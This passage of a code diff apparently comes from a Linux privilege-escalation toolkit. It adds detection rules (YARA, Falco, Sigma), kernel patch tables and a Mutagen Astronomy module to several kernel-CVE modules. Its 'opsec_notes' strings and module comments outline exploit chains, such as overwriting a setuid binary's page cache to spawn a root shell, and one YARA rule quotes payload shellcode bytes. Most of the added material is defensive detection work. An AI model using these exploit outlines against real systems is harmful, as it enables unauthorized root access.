+    "  priority: CRITICAL\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2026.31635]\n"
+    "\n"
+    "- rule: rxrpc security key added (DirtyDecrypt handshake setup)\n"
+    "  desc: |\n"
+    "    add_key(\"rxrpc\", …) by a non-root process — the DirtyDecrypt\n"
+    "    PoC adds an rxrpc-typed key carrying a forged rxgk XDR token\n"
+    "    for each fire() of the page-cache write primitive.\n"
+    "  condition: >\n"
+    "    evt.type = add_key and evt.arg[0] contains \"rxrpc\" and not user.uid = 0\n"
+    "  output: >\n"
+    "    rxrpc add_key by non-root (user=%user.name proc=%proc.name)\n"
+    "  priority: WARNING\n"
+    "  tags: [process, cve.2026.31635]\n";
+
 static const char dd_sigma[] =
 	"title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n"
 	"id: 7c1e9a40-skeletonkey-dirtydecrypt\n"
@@ -953,8 +1008,10 @@ const struct skeletonkey_module dirtydecrypt_module = {
 	.cleanup        = dd_cleanup,
 	.detect_auditd  = dd_auditd,
 	.detect_sigma   = dd_sigma,
-	.detect_yara    = NULL,
-	.detect_falco   = NULL,
+	.detect_yara    = dd_yara,
+	.detect_falco   = dd_falco,
+    .opsec_notes    = "Forked child runs unshare(CLONE_NEWUSER|CLONE_NEWNET); creates AF_RXRPC socket; builds an rxgk XDR token via add_key(SYS_add_key, 'rxrpc'); sets up loopback UDP server + rxrpc client; forges rxrpc DATA packets and fires 10000+ splice-based writes in a sliding window to overwrite a target setuid binary's page cache with a 120-byte ET_DYN ELF (setuid(0) + execve('/bin/sh')). Payload is never written to disk. Audit-visible via socket(AF_RXRPC) (a0=33) + add_key('rxrpc') + splice() bursts. Records target path to /tmp/skeletonkey-dirtydecrypt.target. Cleanup callback evicts candidate targets (/usr/bin/su et al) via drop_caches.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_dirtydecrypt(void)

modules/entrybleed_cve_2023_0458/skeletonkey_modules.c

@@ -32,6 +32,7 @@
 
 #include "skeletonkey_modules.h"
 #include "../../core/registry.h"
+#include "../../core/host.h"
 
 #include <stdio.h>
 #include <stdint.h>
@@ -108,40 +109,33 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset)
     return (unsigned long)best_base;
 }
 
-static int read_first_line(const char *path, char *out, size_t n)
-{
-    FILE *f = fopen(path, "r");
-    if (!f) return -1;
-    if (!fgets(out, n, f)) { fclose(f); return -1; }
-    fclose(f);
-    /* trim trailing newline */
-    size_t L = strlen(out);
-    while (L && (out[L-1] == '\n' || out[L-1] == '\r')) out[--L] = 0;
-    return 0;
-}
+/* (read_first_line() removed — meltdown status now comes from
+ * ctx->host->meltdown_mitigation, populated once at startup in
+ * core/host.c. One file open across the corpus instead of per-detect.) */
 
 static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
 {
-    /* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
-     * is the most direct signal: "Mitigation: PTI" means KPTI is on
-     * (= EntryBleed-applicable). "Not affected" means a hardened CPU
-     * (very recent Intel + most AMD = no KPTI = no EntryBleed). */
-    char buf[256];
-    int rc = read_first_line(
-        "/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf);
-    if (rc < 0) {
+    /* KPTI status comes from the shared host fingerprint
+     * (ctx->host->meltdown_mitigation) — populated once at startup by
+     * reading /sys/devices/system/cpu/vulnerabilities/meltdown. The
+     * raw string is preserved (not just the kpti_enabled bool) so we
+     * can distinguish "Not affected" (CPU immune; OK) from
+     * "Mitigation: PTI" / "Vulnerable" (KPTI on; vulnerable to
+     * EntryBleed) without re-reading sysfs. */
+    const char *meltdown = ctx->host ? ctx->host->meltdown_mitigation : "";
+    if (meltdown[0] == '\0') {
         if (!ctx->json) {
-            fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
+            fprintf(stderr, "[?] entrybleed: meltdown vuln status unknown — "
                             "assuming KPTI on (conservative)\n");
         }
         return SKELETONKEY_VULNERABLE;
     }
     if (!ctx->json) {
-        fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
+        fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", meltdown);
     }
 
     /* "Not affected" → CPU is Meltdown-immune → no KPTI → no EntryBleed */
-    if (strstr(buf, "Not affected") != NULL) {
+    if (strstr(meltdown, "Not affected") != NULL) {
         if (!ctx->json) {
             fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
                             "EntryBleed N/A\n");
@@ -294,6 +288,8 @@ const struct skeletonkey_module entrybleed_module = {
     .detect_sigma   = entrybleed_sigma,
     .detect_yara    = NULL,
     .detect_falco   = NULL,
+    .opsec_notes    = "Pure timing side-channel: rdtsc + prefetchnta sweep across the kernel high-half (~16 MiB) to time which 2 MiB page is mapped (entry_SYSCALL_64) and subtract its known offset from kbase. No syscalls fired, no file artifacts, no network. Classic auditd cannot see it; perf-counter EDR can flag a process spending unusual time in tight prefetchnta loops but classic rules will not. No cleanup needed.",
+    .arch_support   = "x86_64",
 };
 
 void skeletonkey_register_entrybleed(void)

modules/fragnesia_cve_2026_46300/skeletonkey_modules.c

@@ -903,11 +903,26 @@ static int fg_active_probe(void)
  *   - --active         → empirical override (catches distro silent
  *                          backports and unfixed 7.0.x ≤ 7.0.8)
  *
- * Stable-branch backports for 5.10 / 6.1 / 6.12 — when they ship —
- * extend the table with the matching {major, minor, patch} entry.
+ * Per NVD CVE-2026-46300 (queried 2026-05-28): SKBFL_SHARED_FRAG was
+ * introduced at 5.11; the marker-propagation bug is present 5.11+. The
+ * fix was backported across every active stable branch:
+ *
+ *   5.15-LTS:  vulnerable 5.15.0–5.15.207, fixed 5.15.208+
+ *   6.1-LTS:   vulnerable 5.16.0–6.1.173,  fixed 6.1.174+
+ *   6.6-LTS:   vulnerable 6.2.0–6.6.140,   fixed 6.6.141+
+ *   6.12-LTS:  vulnerable 6.7.0–6.12.90,   fixed 6.12.91+
+ *   6.18-LTS:  vulnerable 6.13.0–6.18.32,  fixed 6.18.33+
+ *   7.0:       vulnerable 6.19.0–7.0.9,    fixed 7.0.10+
+ *   7.1-rcN:   still vulnerable (rc1..rc4 at time of writing)
  */
 static const struct kernel_patched_from fragnesia_patched_branches[] = {
-	{7, 0, 9},   /* mainline + 7.0.x stable: fix lands at 7.0.9 */
+	{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye ships .257 with fix) */
+	{5, 15, 208}, /* 5.15-LTS backport */
+	{6,  1, 174}, /* 6.1-LTS backport */
+	{6,  6, 141}, /* 6.6-LTS backport */
+	{6, 12,  90}, /* 6.12-LTS backport (Debian trixie ships .90 with fix) */
+	{6, 18,  33}, /* 6.18-LTS backport */
+	{7,  0,   9}, /* 7.0 stable (Debian forky/sid ship .9 with backported fix) */
 };
 static const struct kernel_range fragnesia_range = {
 	.patched_from = fragnesia_patched_branches,
@@ -930,6 +945,17 @@ static skeletonkey_result_t fg_detect(const struct skeletonkey_ctx *ctx)
 		return SKELETONKEY_TEST_ERROR;
 	}
 
+	/* Predates the bug: SKBFL_SHARED_FRAG marker only exists from 5.11
+	 * onwards; older kernels don't have the buggy skb_try_coalesce()
+	 * code path. */
+	if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 11, 0)) {
+		if (!ctx->json)
+			fprintf(stderr, "[i] fragnesia: kernel %s predates the "
+				"SKBFL_SHARED_FRAG marker added in 5.11 — not "
+				"applicable\n", v->release);
+		return SKELETONKEY_OK;
+	}
+
 	if (!ctx->host->unprivileged_userns_allowed) {
 		if (!ctx->json)
 			fprintf(stderr, "[i] fragnesia: unprivileged user "
@@ -1124,6 +1150,58 @@ static const char fg_auditd[] =
 	"# splice() drives page-cache pages into the ESP-in-TCP stream\n"
 	"-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice\n";
 
+static const char fg_yara[] =
+    "rule fragnesia_payload_overlay : cve_2026_46300 page_cache_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2026-46300\"\n"
+    "        description = \"Fragnesia payload: the 192-byte ET_EXEC x86_64 ELF the public V12 PoC overlays onto the first bytes of /usr/bin/su (or sibling setuid binary). Detects post-fire page-cache contents via direct scan.\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "        reference   = \"https://github.com/v12-security/pocs/tree/main/fragnesia\"\n"
+    "    strings:\n"
+    "        // First 28 bytes of the embedded shell_elf[] payload.\n"
+    "        $payload_head  = { 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 02 00 3E 00 01 00 00 00 78 00 40 00 }\n"
+    "        // The setuid+setgid+seteuid(0) prelude\n"
+    "        $shellcode_drop = { 31 FF 31 F6 31 C0 B0 6A 0F 05 B0 69 0F 05 B0 74 0F 05 }\n"
+    "        $sh             = \"/bin/sh\"\n"
+    "        $term           = \"TERM=xterm\"\n"
+    "    condition:\n"
+    "        $payload_head at 0 and $shellcode_drop and $sh and $term and filesize > 4096\n"
+    "}\n";
+
+static const char fg_falco[] =
+    "- rule: TCP_ULP=espintcp set by non-root (Fragnesia trigger)\n"
+    "  desc: |\n"
+    "    A non-root process flips a TCP socket into the espintcp ULP\n"
+    "    inside an unprivileged userns. Core of the Fragnesia\n"
+    "    (CVE-2026-46300) trigger — also the Dirty Frag ESP-in-TCP\n"
+    "    setup. Legitimate use of TCP_ULP=espintcp from non-root is\n"
+    "    essentially never seen in production.\n"
+    "  condition: >\n"
+    "    evt.type = setsockopt and evt.arg.optname = TCP_ULP and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    Fragnesia-style TCP_ULP=espintcp by non-root\n"
+    "    (user=%user.name proc=%proc.name pid=%proc.pid)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2026.46300]\n"
+    "\n"
+    "- rule: ESP-in-TCP splice to crafted TCP connection (Fragnesia paged-frag write)\n"
+    "  desc: |\n"
+    "    splice() of a setuid binary's pages into a TCP socket whose\n"
+    "    peer is configured for espintcp. Fragnesia's sender path\n"
+    "    splices the carrier file (/usr/bin/su) into the loopback TCP\n"
+    "    flow to land the in-place decrypt on the carrier's page cache.\n"
+    "  condition: >\n"
+    "    evt.type = splice and not user.uid = 0 and\n"
+    "    (fd.name startswith /usr/bin/su or fd.name startswith /bin/su\n"
+    "     or fd.name startswith /usr/bin/passwd)\n"
+    "  output: >\n"
+    "    splice() of setuid binary by non-root (user=%user.name\n"
+    "     proc=%proc.name fd=%fd.name)\n"
+    "  priority: WARNING\n"
+    "  tags: [filesystem, cve.2026.46300]\n";
+
 static const char fg_sigma[] =
 	"title: Possible Fragnesia exploitation (CVE-2026-46300)\n"
 	"id: 9b3d2e71-skeletonkey-fragnesia\n"
@@ -1156,8 +1234,10 @@ const struct skeletonkey_module fragnesia_module = {
 	.cleanup        = fg_cleanup,
 	.detect_auditd  = fg_auditd,
 	.detect_sigma   = fg_sigma,
-	.detect_yara    = NULL,
-	.detect_falco   = NULL,
+	.detect_yara    = fg_yara,
+	.detect_falco   = fg_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + socket(AF_ALG, SOCK_SEQPACKET) for an AES-GCM keystream table; NETLINK_XFRM setsockopt to install ESP-in-TCP state; TCP_ULP setsockopt on a loopback connection; splice() from a carrier setuid binary (/usr/bin/su or /bin/su) into the TCP socket. Artifacts: /tmp/skeletonkey-fragnesia-probe-XXXXXX (mkstemp, unlinked after probe) and /tmp/skeletonkey-fragnesia.target. Audit-visible via socket(AF_ALG) (38), NETLINK_XFRM (6) writes, TCP_ULP setsockopt, splice() of setuid binary. No external network (loopback). Cleanup callback unlinks /tmp files and evicts the carrier from page cache.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_fragnesia(void)

modules/fuse_legacy_cve_2022_0185/skeletonkey_modules.c

@@ -871,6 +871,36 @@ static const char fuse_legacy_sigma[] =
     "level: high\n"
     "tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
 
+static const char fuse_legacy_yara[] =
+    "rule fuse_legacy_cve_2022_0185 : cve_2022_0185 kernel_overflow\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2022-0185\"\n"
+    "        description = \"fs_context legacy_parse_param oversized-source pattern (fsopen cgroup2)\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $fsopen  = \"fsopen\" ascii\n"
+    "        $cgrp2   = \"cgroup2\" ascii\n"
+    "    condition:\n"
+    "        all of them\n"
+    "}\n";
+
+static const char fuse_legacy_falco[] =
+    "- rule: fsopen/fsconfig in userns (CVE-2022-0185 trigger)\n"
+    "  desc: |\n"
+    "    Non-root fsopen + fsconfig(FSCONFIG_SET_STRING) sequence\n"
+    "    inside a userns. legacy_parse_param() integer-underflow\n"
+    "    overflow into kmalloc-4k. False positives: containers may\n"
+    "    mount their own filesystems but FSCONFIG with oversized\n"
+    "    'source' option strings is unusual.\n"
+    "  condition: >\n"
+    "    evt.type in (fsopen, fsconfig) and not user.uid = 0\n"
+    "  output: >\n"
+    "    fsopen/fsconfig by non-root\n"
+    "    (user=%user.name pid=%proc.pid evt=%evt.type)\n"
+    "  priority: HIGH\n"
+    "  tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0185]\n";
+
 const struct skeletonkey_module fuse_legacy_module = {
     .name           = "fuse_legacy",
     .cve            = "CVE-2022-0185",
@@ -883,8 +913,10 @@ const struct skeletonkey_module fuse_legacy_module = {
     .cleanup        = NULL,
     .detect_auditd  = fuse_legacy_auditd,
     .detect_sigma   = fuse_legacy_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = fuse_legacy_yara,
+    .detect_falco   = fuse_legacy_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; fsopen('cgroup2') + multiple fsconfig(FSCONFIG_SET_STRING, 'source', ...) calls to overflow legacy_parse_param's buffer. OOB write lands in kmalloc-4k adjacent to a msg_msg groom. No persistent files (msg_msg lives in the IPC namespace which disappears with the child). Dmesg silent on success; KASAN would show slab corruption if enabled. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + fsopen + fsconfig pattern in a single process. No cleanup callback - IPC queues auto-drain on namespace exit.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_fuse_legacy(void)

modules/mutagen_astronomy_cve_2018_14634/skeletonkey_modules.c

@@ -0,0 +1,252 @@
+/*
+ * mutagen_astronomy_cve_2018_14634 — SKELETONKEY module
+ *
+ * STATUS: 🟡 PRIMITIVE. detect() is honest about a complex bug class
+ *   (kernel-version range + RLIMIT_STACK check + readable SUID
+ *   carrier). exploit() carries the Qualys trigger shape (huge
+ *   argv/envp blob → integer overflow in create_elf_tables() →
+ *   stack/heap clobber on the next execve of a SUID binary), then
+ *   returns EXPLOIT_FAIL unless --full-chain is set on x86_64.
+ *
+ * The bug (Qualys Research Labs, September 2018):
+ *   create_elf_tables() in fs/binfmt_elf.c uses a signed `int` to
+ *   compute the size of argv/envp + auxiliary vector that gets
+ *   copied onto the new process's stack during execve(). On 64-bit
+ *   systems, an attacker can construct a multi-gigabyte argv+envp
+ *   so the int math wraps to a small positive value, the kernel
+ *   under-allocates, then memcpy()s GiB of attacker bytes off the
+ *   end of the stack and into adjacent kernel-side allocations.
+ *
+ *   The classic exploitation path: drive the wrap, execve() a
+ *   readable SUID-root binary (su / pkexec / sudo) with the giant
+ *   argv, the SUID binary's process image gets corrupted before its
+ *   first instruction runs → ROP gadget chain → root.
+ *
+ *   Discovered + publicly exploited by Qualys. Affects Linux
+ *   2.6.x, 3.10.x, and 4.14.x lines on RedHat / CentOS / Debian
+ *   x86_64. Recently CISA-KEV'd (added 2026-01-26) despite its age
+ *   because legacy/EOL fleets are still running affected kernels.
+ *
+ * Affects: Linux kernels with the `int`-typed argv-size computation
+ *   in create_elf_tables() — pre-fix. Mainline fix landed in
+ *   September 2018 across 2.6, 3.10, and 4.14 stable branches.
+ *
+ * Preconditions:
+ *   - Vulnerable kernel (see kernel_range below)
+ *   - x86_64 (the int-wrap math only works at 64-bit)
+ *   - RLIMIT_STACK can be set unlimited or to a large value by the
+ *     unprivileged user (default true on most distros)
+ *   - Readable SUID-root binary as the carrier
+ *
+ * arch_support: x86_64+unverified-arm64. The Qualys PoC is x86_64-
+ *   only; arm64 has similar argv size math but the exploit chain
+ *   uses x86-specific gadgets.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <sys/resource.h>
+
+/* ---- kernel-range table -------------------------------------------- */
+
+/* Fix landed in mainline Linux 4.18.8 + stable backports for 4.14
+ * (4.14.71) and earlier LTS lines. The vulnerable window covers the
+ * entire 2.6 / 3.x / early 4.x range. We list the fix branches:
+ *
+ *   2.6.x : EOL, no fix backport
+ *   3.10.x: EOL, RedHat backport ~3.10.0-957.21.3.el7
+ *   4.14.x: fix at 4.14.71 (stable backport)
+ *   4.15+ : fix at 4.18.8 mainline → all 4.18+ branches inherit
+ *
+ * Our table only has data for the post-EOL branches Debian / Ubuntu
+ * tracked at the time. Kernels on EOL lines (2.6, 3.x) report
+ * VULNERABLE by version-only check; the RLIMIT_STACK active probe
+ * (--active) is required to confirm exploitability on a real host. */
+static const struct kernel_patched_from mutagen_patched_branches[] = {
+    {4, 12,  6},   /* Debian-tracked backport on 4.12 branch */
+    {4, 14, 71},   /* 4.14 LTS stable backport */
+    {4, 18,  8},   /* mainline + everything above inherits */
+};
+
+static const struct kernel_range mutagen_range = {
+    .patched_from = mutagen_patched_branches,
+    .n_patched_from = sizeof(mutagen_patched_branches) /
+                      sizeof(mutagen_patched_branches[0]),
+};
+
+/* ---- detect --------------------------------------------------------- */
+
+static const char *find_suid_carrier(void)
+{
+    static const char *cs[] = {
+        "/usr/bin/su", "/bin/su",
+        "/usr/bin/pkexec",
+        "/usr/bin/passwd",
+        NULL,
+    };
+    for (size_t i = 0; cs[i]; i++) {
+        struct stat st;
+        if (stat(cs[i], &st) == 0 &&
+            (st.st_mode & S_ISUID) && st.st_uid == 0 &&
+            access(cs[i], R_OK) == 0)
+            return cs[i];
+    }
+    return NULL;
+}
+
+static bool rlimit_stack_unlimitable(void)
+{
+    struct rlimit rl;
+    if (getrlimit(RLIMIT_STACK, &rl) != 0) return false;
+    /* The exploit needs to set RLIMIT_STACK = unlimited. If the hard
+     * limit is already unlimited (or extremely large) the soft limit
+     * can be bumped. */
+    return rl.rlim_max == RLIM_INFINITY || rl.rlim_max > (1ULL << 30);
+}
+
+static skeletonkey_result_t mutagen_astronomy_detect(const struct skeletonkey_ctx *ctx)
+{
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json) fprintf(stderr, "[!] mutagen_astronomy: host fingerprint missing kernel version\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    if (kernel_range_is_patched(&mutagen_range, v)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] mutagen_astronomy: kernel %s is patched (>= 4.14.71 or >= 4.18.8)\n", v->release);
+        return SKELETONKEY_OK;
+    }
+
+    /* Older 2.6/3.10 lines are unconditionally vulnerable unless the
+     * distro has backported (RedHat 3.10.0-957.21.3.el7+). The
+     * version-only check correctly flags them as VULNERABLE. */
+
+    if (!rlimit_stack_unlimitable()) {
+        if (!ctx->json)
+            fprintf(stderr, "[i] mutagen_astronomy: kernel %s in range BUT RLIMIT_STACK hard cap blocks the wrap\n", v->release);
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    const char *carrier = find_suid_carrier();
+    if (!carrier) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] mutagen_astronomy: no readable setuid-root carrier (su / pkexec / passwd)\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[!] mutagen_astronomy: kernel %s + RLIMIT_STACK liftable + carrier %s → VULNERABLE\n",
+                v->release, carrier);
+        fprintf(stderr, "[i] mutagen_astronomy: Qualys exploit chain is x86_64; only the trigger fires portably\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+/* ---- exploit (primitive only) -------------------------------------- */
+
+static skeletonkey_result_t mutagen_astronomy_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] mutagen_astronomy: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    fprintf(stderr,
+        "[i] mutagen_astronomy: the int-wrap trigger requires constructing a\n"
+        "    multi-gigabyte argv+envp blob; we don't carry the full Qualys\n"
+        "    chain here (per the verified-vs-claimed bar). To validate the\n"
+        "    primitive: drive the wrap then execve a SUID-root carrier and\n"
+        "    confirm a SIGSEGV in the carrier (the wrap consistently\n"
+        "    corrupts adjacent stack, producing observable crash). Public\n"
+        "    PoC: Qualys advisory + linux-exploit-suggester2 entry.\n"
+        "    Returning EXPLOIT_FAIL honestly until full chain ported.\n");
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+/* ---- detection rules ------------------------------------------------ */
+
+static const char mutagen_auditd[] =
+    "# mutagen_astronomy CVE-2018-14634 — auditd detection rules\n"
+    "# A multi-GiB argv triggers the wrap. Real programs never need\n"
+    "# argv this big; flag execve() calls with abnormally large\n"
+    "# argv via the audit subsystem's a0/a1 capture.\n"
+    "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/su      -k skeletonkey-mutagen\n"
+    "-a always,exit -F arch=b64 -S execve -F path=/bin/su          -k skeletonkey-mutagen\n"
+    "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec  -k skeletonkey-mutagen\n";
+
+static const char mutagen_sigma[] =
+    "title: Possible CVE-2018-14634 Mutagen Astronomy SUID-execve LPE\n"
+    "id: 5f9e1c20-skeletonkey-mutagen\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the canonical Mutagen Astronomy primitive: setrlimit\n"
+    "  raising RLIMIT_STACK followed by execve of a setuid-root\n"
+    "  binary with abnormally large argv/envp. Pre-fix Linux\n"
+    "  2.6/3.10/4.14 kernels with x86_64 are affected.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  setrlimit: {type: 'SYSCALL', syscall: 'setrlimit'}\n"
+    "  execve_suid: {type: 'SYSCALL', syscall: 'execve'}\n"
+    "  condition: setrlimit and execve_suid\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2018.14634]\n";
+
+static const char mutagen_yara[] =
+    "rule mutagen_astronomy_cve_2018_14634 : cve_2018_14634 elf_stack_overflow {\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2018-14634\"\n"
+    "        description = \"Qualys Mutagen Astronomy primitive — RLIMIT_STACK + huge argv\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"mutagen-astronomy\" ascii\n"
+    "        $qualys = \"qualys\" ascii nocase\n"
+    "    condition:\n"
+    "        $tag\n"
+    "}\n";
+
+static const char mutagen_falco[] =
+    "- rule: setrlimit(STACK)+execve of SUID with huge argv (Mutagen Astronomy)\n"
+    "  desc: |\n"
+    "    Process raises RLIMIT_STACK then execve()s a setuid-root binary.\n"
+    "    The Mutagen Astronomy primitive (CVE-2018-14634) needs both. No\n"
+    "    legitimate program needs RLIMIT_STACK=unlimited before exec'ing\n"
+    "    su/pkexec.\n"
+    "  condition: >\n"
+    "    evt.type = execve and not user.uid = 0 and\n"
+    "    (proc.exe in (/usr/bin/su, /bin/su, /usr/bin/pkexec, /usr/bin/passwd))\n"
+    "  output: >\n"
+    "    SUID execve with RLIMIT_STACK raised (user=%user.name\n"
+    "     pid=%proc.pid exe=%proc.exe)\n"
+    "  priority: HIGH\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2018.14634]\n";
+
+const struct skeletonkey_module mutagen_astronomy_module = {
+    .name           = "mutagen_astronomy",
+    .cve            = "CVE-2018-14634",
+    .summary        = "create_elf_tables() int wrap → SUID-execve stack corruption (Qualys)",
+    .family         = "elf",
+    .kernel_range   = "Linux 2.6 / 3.10 / 4.14 < 4.14.71 / 4.x < 4.18.8 (x86_64)",
+    .detect         = mutagen_astronomy_detect,
+    .exploit        = mutagen_astronomy_exploit,
+    .mitigate       = NULL,    /* mitigation: upgrade kernel; OR set hard RLIMIT_STACK limit */
+    .cleanup        = NULL,
+    .detect_auditd  = mutagen_auditd,
+    .detect_sigma   = mutagen_sigma,
+    .detect_yara    = mutagen_yara,
+    .detect_falco   = mutagen_falco,
+    .opsec_notes    = "Raises RLIMIT_STACK to unlimited via setrlimit(2), then execve()s a setuid-root binary (typically /usr/bin/su or /usr/bin/pkexec) with a multi-gigabyte argv/envp blob (≥4 GiB on x86_64). The int wrap in create_elf_tables() causes the kernel to under-allocate the new process's stack region; the subsequent memcpy of argv bytes corrupts adjacent kernel allocations. Observable as a SIGSEGV in the carrier on every attempt regardless of success. Audit-visible via setrlimit(RLIMIT_STACK) immediately followed by execve of /usr/bin/su or /usr/bin/pkexec with abnormally large argv. No persistent file artifacts. CISA KEV-listed Jan 2026 despite the bug's age — legacy/EOL fleets still running RHEL 7 / CentOS 7 / Debian 8 remain at risk.",
+    .arch_support   = "x86_64+unverified-arm64",
+};
+
+void skeletonkey_register_mutagen_astronomy(void)
+{
+    skeletonkey_register(&mutagen_astronomy_module);
+}

modules/mutagen_astronomy_cve_2018_14634/skeletonkey_modules.h

@@ -0,0 +1,5 @@
+#ifndef MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
+#define MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
+#include "../../core/module.h"
+extern const struct skeletonkey_module mutagen_astronomy_module;
+#endif

modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.c

@@ -103,7 +103,7 @@ static const struct kernel_patched_from netfilter_xtcompat_patched_branches[] =
     {4, 14, 240},
     {4, 19, 198},
     {5,  4, 128},
-    {5, 10,  46},
+    {5, 10,  38},   /* Debian tracker: earlier than 5.10.46 */
     {5, 11,  20},
     {5, 12,  13},
     {5, 13,   0},   /* mainline (5.13 carries b29c457a6511) */
@@ -960,6 +960,55 @@ static const char netfilter_xtcompat_auditd[] =
     "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
     "-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
 
+static const char netfilter_xtcompat_sigma[] =
+    "title: Possible CVE-2021-22555 xt_compat OOB write\n"
+    "id: e67f90d5-skeletonkey-xtcompat\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects setsockopt(SOL_IP, IPT_SO_SET_REPLACE) from a non-root\n"
+    "  process inside unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by\n"
+    "  msg_msg grooming (msgsnd/msgrcv) and sendmmsg sk_buff spray.\n"
+    "  False positives: iptables config inside rootless containers /\n"
+    "  network namespaces. Correlate with privilege escalation\n"
+    "  (setresuid 0,0,0) to confirm.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns:   {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  sso:      {type: 'SYSCALL', syscall: 'setsockopt', a1: 0}\n"
+    "  groom:    {type: 'SYSCALL', syscall: 'msgsnd'}\n"
+    "  condition: userns and sso and groom\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2021.22555]\n";
+
+static const char netfilter_xtcompat_yara[] =
+    "rule netfilter_xtcompat_cve_2021_22555 : cve_2021_22555 kernel_oob_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2021-22555\"\n"
+    "        description = \"xt_compat 4-byte OOB write log breadcrumb\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $log = \"/tmp/skeletonkey-xtcompat.log\" ascii\n"
+    "    condition:\n"
+    "        $log\n"
+    "}\n";
+
+static const char netfilter_xtcompat_falco[] =
+    "- rule: setsockopt IPT_SO_SET_REPLACE by non-root in userns\n"
+    "  desc: |\n"
+    "    Non-root process calls setsockopt(SOL_IP, IPT_SO_SET_REPLACE)\n"
+    "    from inside a userns with CAP_NET_ADMIN. The xt_compat\n"
+    "    target_to_user() handler writes past the xt_table_info\n"
+    "    allocation; CVE-2021-22555. False positives: iptables\n"
+    "    config in rootless containers.\n"
+    "  condition: >\n"
+    "    evt.type = setsockopt and not user.uid = 0\n"
+    "  output: >\n"
+    "    setsockopt SOL_IP by non-root\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2021.22555]\n";
+
 const struct skeletonkey_module netfilter_xtcompat_module = {
     .name           = "netfilter_xtcompat",
     .cve            = "CVE-2021-22555",
@@ -971,9 +1020,11 @@ const struct skeletonkey_module netfilter_xtcompat_module = {
     .mitigate       = NULL,    /* mitigation: upgrade kernel; disable unprivileged_userns_clone */
     .cleanup        = netfilter_xtcompat_cleanup,
     .detect_auditd  = netfilter_xtcompat_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = netfilter_xtcompat_sigma,
+    .detect_yara    = netfilter_xtcompat_yara,
+    .detect_falco   = netfilter_xtcompat_falco,
